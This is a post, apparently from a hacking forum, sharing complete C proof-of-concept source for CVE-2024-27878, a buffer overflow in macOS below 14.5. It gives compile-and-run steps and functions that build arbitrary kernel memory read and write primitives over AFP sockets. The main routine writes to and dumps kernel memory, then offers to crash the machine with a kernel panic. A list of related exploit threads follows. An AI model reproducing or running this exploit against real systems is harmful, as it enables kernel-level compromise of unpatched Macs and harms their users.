Buffer Overflow in Apple macOS below v14.5
by Loki - Monday August 5, 2024 at 09:52 AM
#1
CVE-2024-27878 : An app with root privileges may be able to execute arbitrary code with kernel privileges.
Tested on macOS versions below 14.5
Replace <filename> as needed.
//$clang <filename> -o poc
//$./poc
//Try it on macOS versions below 14.5

#import <Foundation/Foundation.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define AF_AFP  36

void hex_dump(void *data, int size)
{
    unsigned char *p = data;
    unsigned long addr = 0;
    unsigned char c;
    int n;
    char bytestr[4] = {0};
    char addrstr[10] = {0};
    char hexstr[ 16*3 + 5] = {0};
    char charstr[16*1 + 5] = {0};
    for(n=1;n<=size;n++) {
        if (n%16 == 1) {
            /* store address for this line */
            snprintf(addrstr, sizeof(addrstr), "%.4lX",
              addr);
        }
           
        c = *p;
        if (isprint(c) == 0) {
            c = '.';
        }

        /* store hex str (for left side) */
        snprintf(bytestr, sizeof(bytestr), "%02X ", *p);
        strncat(hexstr, bytestr, sizeof(hexstr)-strlen(hexstr)-1);

        /* store char str (for right side) */
        snprintf(bytestr, sizeof(bytestr), "%c", c);
        strncat(charstr, bytestr, sizeof(charstr)-strlen(charstr)-1);

        if(n%16 == 0) {
            /* line completed */
            printf("[%4.4s]  %-50.50s  %s\n", addrstr, hexstr, charstr);
            hexstr[0] = 0;
            charstr[0] = 0;
        } else if(n%8 == 0) {
            /* half line: add whitespaces */
            strncat(hexstr, "  ", sizeof(hexstr)-strlen(hexstr)-1);
            strncat(charstr, " ", sizeof(charstr)-strlen(charstr)-1);
        }
        p++; /* next byte */
        addr++; /* increment address */
    }

    if (strlen(hexstr) > 0) {
        /* print rest of buffer if not empty */
        printf("[%4.4s]  %-50.50s  %s\n", addrstr, hexstr, charstr);
    }
}

static char *
mktempdir(void)
{
    char *path = malloc(PATH_MAX);
    strcpy(path, "/tmp/dmc.XXXXXXXX");
    atexit_b(^{ free(path); });
    mkdtemp(path);
    return path;
}

void load_asp_tcp(void){
    struct vfsconf conf ={};
    int err = getvfsbyname("afpfs", &conf);
    if(err ==0){
        printf("loaded\n");
        return ;
    }
    int pid = fork();
    char* mount_dir = mktempdir();
    if(pid==0){
        execl("/sbin/mount_afp", "/sbin/mount_afp", "afp://null:password@127.0.0.1/any",
              mount_dir, 0);
        exit(0);
    }
    else{
        int status = 0;
        wait4(pid, &status, 0, NULL);
    }
}

uint8_t* kread(uint64_t target, uint32_t len){
    int err = 0;
    int tcp_so = socket(AF_INET, SOCK_STREAM, 0);
   
    int opt = 1;
    if (setsockopt(tcp_so, SOL_SOCKET, SO_REUSEPORT, &opt,
                      sizeof(opt)))
    {
        perror("setsockopt");
        close(tcp_so);
        return 0;
    }
    struct sockaddr_in address;
    address.sin_family = AF_INET;
    address.sin_addr.s_addr = inet_addr("127.0.0.1");
    address.sin_port = htons(8088);
    if (bind(tcp_so, (struct sockaddr*)&address,
                sizeof(address))< 0)
    {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }
    if (listen(tcp_so, 3) < 0) {
        perror("listen");
        exit(EXIT_FAILURE);
    }
   
    int asp_sock = socket(AF_AFP, SOCK_STREAM, 0);
   
    if(asp_sock==-1){
        printf("cannot create socket\n");
        return 0;
    }
   
    err = connect(asp_sock, (struct sockaddr *)&address,sizeof(address));
    if(err){
        printf("connect ret %d\n",err);
        close(asp_sock);
        return 0;
    }
   
    struct sockaddr_in  cli_addr;
    socklen_t clilen = sizeof(cli_addr);
    int newsockfd = accept(tcp_so,
                    (struct sockaddr *) &cli_addr,
                    &clilen);
   
    void* temp = malloc(1024);
    memset(temp, 0x77,1024);
    struct iovec iovec = { .iov_base = "BBBBBBBB", .iov_len = 8 };
    struct msghdr msg = {};
    char buf[96]={};
 
    *(uint32*)(buf + 0)= 8;
    *(uint32*)(buf + 16)= 1;
    *(uint64*)(buf + 8)= 0xFFFFFE0088888888;
    *(uint32*)(buf + 20)= 2;
   
    *(uint64*)(buf + 24)= target;
    *(uint32*)(buf + 32)= len;
    *(uint32*)(buf + 36)= 2;
   
    uint64_t tmp=0x1234;
    *(uint64*)(buf + 72)= &tmp;
    *(uint32*)(buf + 80)= 8;
   
    *(uint32*)(buf + 84)= 1;
   
    msg.msg_iov = &iovec;
    msg.msg_iovlen = 1;
    msg.msg_control = buf;
    msg.msg_controllen = CMSG_SPACE(96-12);
    sendmsg(asp_sock, &msg, 0);

    struct msghdr recv_msg={};
    struct iovec recv_iov={};
    void* recv_buf = malloc(4096);
    memset(recv_buf, 0, 4096);
   
    void* recv_control = malloc(1024);
    memset(recv_control, 0, 1024);
    recv_iov.iov_base = recv_buf;
    recv_iov.iov_len = 4096;
   
    recv_msg.msg_name = NULL;
    recv_msg.msg_namelen = 0;
    recv_msg.msg_iov = &recv_iov;
    recv_msg.msg_iovlen = 1;
    recv_msg.msg_control = recv_control;
    recv_msg.msg_controllen = 2048;
    recvmsg(newsockfd, &recv_msg, 0);
   
    close(asp_sock);
    close(tcp_so);
    close(newsockfd);
    free(recv_control);
    return recv_buf;
}

//kread(0xfffffe1b99999999, 512);

uint64_t kw64(uint64_t target, uint64_t value){
    int err = 0;
    int tcp_so = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    if (setsockopt(tcp_so, SOL_SOCKET, SO_REUSEPORT, &opt,
                      sizeof(opt)))
    {
        perror("setsockopt");
        close(tcp_so);
        return 0;
    }
    struct sockaddr_in address;
    address.sin_family = AF_INET;
    address.sin_addr.s_addr = inet_addr("127.0.0.1");
    address.sin_port = htons(8088);
    if (bind(tcp_so, (struct sockaddr*)&address,
                sizeof(address))< 0)
    {
        perror("bind failed");
        return 0;
    }
    if (listen(tcp_so, 3) < 0) {
        perror("listen");
        return 0;
    }
   
    int asp_sock = socket(AF_AFP, SOCK_STREAM, 0);

    if(asp_sock==-1){
        printf("cannot create socket\n");
        close(tcp_so);
        return 0;
    }
   
    err = connect(asp_sock, (struct sockaddr *)&address,sizeof(address));
    if(err){
        printf("connect ret %d\n",err);
        close(tcp_so);
        close(asp_sock);
        return 0;
    }
   
    struct sockaddr_in  cli_addr;
    socklen_t clilen = sizeof(cli_addr);
    int newsockfd = accept(tcp_so,
                    (struct sockaddr *) &cli_addr,
                    &clilen);

 
    struct iovec iovec = { .iov_base = "BBBBBBBB", .iov_len = 8 };
    struct msghdr msg = {};
    char buf[96]={};
   
    *(uint32*)(buf + 0)= 2;
    *(uint32*)(buf + 16)= 8;
    *(uint64*)(buf + 8)= target;
    *(uint32*)(buf + 20)= 2;
   
    uint64_t v_for_copyin = 0x12345678;
    *(uint64*)(buf + 24)= &v_for_copyin;
    *(uint32*)(buf + 32)= 8;
    *(uint32*)(buf + 36)= 8;
   
    {
        uint64_t v_for_copyout1=0x12345678;
        *(uint64*)(buf + 56)= &v_for_copyout1;
        *(uint32*)(buf + 64)= 8;
    }
    {
        uint64_t v_for_copyout2=0x12345678;
        *(uint64*)(buf + 40)= &v_for_copyout2;
        *(uint32*)(buf + 48)= 8;
    }
    {
        uint16_t v_for_copyout3=0x1234;
        *(uint64*)(buf + 72)= &v_for_copyout3;
        *(uint32*)(buf + 80)= 8;
    }
   
    *(uint32*)(buf + 84)= 1;
   
    msg.msg_iov = &iovec;
    msg.msg_iovlen = 1;
    msg.msg_control = buf;
    msg.msg_controllen = CMSG_SPACE(96-12);
    sendmsg(asp_sock, &msg, 0);
   
    struct msghdr recv_msg={};
    struct iovec recv_iov={};
    void* recv_buf = malloc(4096);
    memset(recv_buf, 0, 4096);
   
    void* recv_control = malloc(1024);
    memset(recv_control, 0, 1024);
    recv_iov.iov_base = recv_buf;
    recv_iov.iov_len = 4096;
   
    recv_msg.msg_name = NULL;
    recv_msg.msg_namelen = 0;
    recv_msg.msg_iov = &recv_iov;
    recv_msg.msg_iovlen = 1;
    recv_msg.msg_control = recv_control;
    recv_msg.msg_controllen = 2048;
    recvmsg(newsockfd, &recv_msg, 0);
   
    struct msghdr reply_msg={};
    struct iovec reply_iov={};
   
    uint8_t reply_buf[16]={};
   
    *(uint8_t*)(reply_buf + 0) = 1;
    *(uint8_t*)(reply_buf + 1) = 8;
    *(uint16_t*)(reply_buf + 2) = htons(1);
    *(uint32_t*)(reply_buf + 8) = htonl(8);
    reply_iov.iov_base = reply_buf;
    reply_iov.iov_len = 16;
    reply_msg.msg_iov = &reply_iov;
    reply_msg.msg_iovlen = 1;
    sendmsg(newsockfd, &reply_msg, 0);
 
    struct msghdr packet_msg={};
    struct iovec packet_iov={};
   
    uint64_t packet_buf = value;
    packet_iov.iov_base = &packet_buf;
    packet_iov.iov_len = 8;
    packet_msg.msg_iov = &packet_iov;
    packet_msg.msg_iovlen = 1;
    sendmsg(newsockfd, &packet_msg, 0);
   
    struct iovec asp_reply_iovec = { .iov_base = "BBBBBBBB", .iov_len = 8 };
    struct msghdr asp_reply_msg = {};
    char asp_reply_control_buf[96]={};
    *(uint32*)(asp_reply_control_buf + 0)= 0x11;
    *(uint32*)(asp_reply_control_buf + 16)= 1;
    *(uint64*)(asp_reply_control_buf + 8)= 0xFFFFFE0088888888;
    *(uint32*)(asp_reply_control_buf + 20)= 2;
   
    *(uint64*)(asp_reply_control_buf + 24)= 0xfffffdf040000000;
    *(uint32*)(asp_reply_control_buf + 32)= 64;
    *(uint32*)(asp_reply_control_buf + 36)= 2;
   
    {
        uint64_t tmp=1;
        *(uint64*)(asp_reply_control_buf + 72)= &tmp;
        *(uint32*)(asp_reply_control_buf + 80)= 8;
    }
   
    *(uint32*)(asp_reply_control_buf + 84)= 1;
   
    asp_reply_msg.msg_iov = &asp_reply_iovec;
    asp_reply_msg.msg_iovlen = 1;
    asp_reply_msg.msg_control = asp_reply_control_buf;
    asp_reply_msg.msg_controllen = CMSG_SPACE(96-12);

    sendmsg(asp_sock, &asp_reply_msg, 0);
    close(asp_sock);
    close(tcp_so);
    close(newsockfd);
    free(recv_control);
    return value;
}

/*
try kw64(0xFFFFFFFF12345678,0x1234567887654321) or
kread(0xfffffe1b99999999, 512) to trigger kernel panic

0xfffffdf040000000 is a valid kernel address.

*/
int main(){
    load_asp_tcp();
    kw64(0xfffffdf040000000,0x1234567887654321);
    kw64(0xfffffdf040000008,0xAABBCCDDEEFF0011);
    uint8_t* kmem = kread(0xfffffdf040000000, 1024);
    hex_dump(kmem+0x18,16);
    printf("want a kernel panic?\n");
    getchar();
    kw64(0xFFFFFFFF12345678,0x1234567887654321);
    return 0;
}


Omnicer
[Image: e47c91a87cc521d1efbd20183b42ee4259c9c593.gifv]
PGP
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Apple iOS 17.2.1 Screen Time Passcode Retrieval miya 93 6,635 07-31-2025, 01:55 PM
Last Post: rommelround
  ANE kernel r/w exploit for iOS 15 and macOS 12 (Source code)!! spirits 8 1,495 02-05-2025, 11:23 AM
Last Post: xoclutch
  Laravel Valet 2.0.3 - Local Privilege Escalation macOS luszxis 0 1,152 01-26-2024, 08:25 PM
Last Post: luszxis
  Cracked macOS apps drain wallets using scripts fetched from DNS records (Analysis) tengusec 0 1,258 01-23-2024, 05:10 AM
Last Post: tengusec
  CVE-2023-4863 - The heap buffer overflow vulnerability in the WebP Codec malibu 1 3,068 10-09-2023, 07:30 PM
Last Post: Frame

Forum Jump:


 Users browsing this thread: 1 Guest(s)